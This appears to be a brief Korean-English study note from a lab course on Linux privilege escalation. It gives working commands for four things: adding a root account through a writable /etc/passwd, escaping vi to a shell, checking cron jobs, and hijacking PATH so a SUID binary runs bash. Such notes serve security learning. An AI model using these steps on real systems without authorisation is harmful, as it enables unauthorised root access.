[Linux] Common Linux Privesc

파일전송 TIP

* wget 등 여의치 않은 경우 로컬에 존재하는 스크립트 내용을 마우스로 Copy&Paste하여 파일을 생성하면 됨

 

그외 vim에서 Copy&Paste 클립보드와 연동하는 방법

hyoje420.tistory.com/49

stackoverflow.com/questions/3961859/how-to-copy-to-clipboard-in-vim

 

Exploiting Writeable /etc/passwd
1. /etc/passwd
2. GID가 0인 사용자 존재, 사용자가 passwd파일을 수정할 수 있음
3. 해당 사용자로 로그인
4. 해시 값 생성 

openssl passwd -1 -salt [salt] [password] 

5. 새로운 루트계정 새로 추가
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

 

 

Escaping Vi Editor
sudo -l

루트로 실행가능한 권한체크 후 vi에디터로 exploit
(* vi 에디터가 setuid 권한을 가지고 있는경우)
vi
:!sh

 

 

Exploiting Crontab

/etc/crontab

 

How to view what Cronjobs are active.

We can use the command "cat /etc/crontab" to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.

#  m   h dom mon dow user  command

17 *   1  *   *   *  root  cd / && run-parts --report /etc/cron.hourly

 

 

Exploiting PATH Variable

1. export 실행했을 때, PATH 변수에 쓰기 권한이 존재해야 함
declare -x PATH=.......

2. setuid로 설정된 파일이 특정한 경로의 바이너리(특히 시스템 명령어)를 실행하고 있다.

 

시나리오
setuid가 설정된 어떤 특정한 바이너리가 실행되면 /bin/ls를 실행하는 상황
우리는 PATH를 변조하여 ls 명령어가 bash로 실행하도록 만들 것이다.

3. tmp 폴더 이동

cd tmp 
echo "/bin/bash" > ls 
chmod +x ls 
export PATH=/tmp:$PATH 
echo $PATH

 

Let's say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". Unlike in our previous SUID example, in this situation we can't exploit it by supplying an argument for command injection, so what can we do to try and exploit this?

We can re-Write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead!

 

 

Linux - Privilege Escalation 추가 공부

github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

payatu.com/guide-linux-privilege-escalation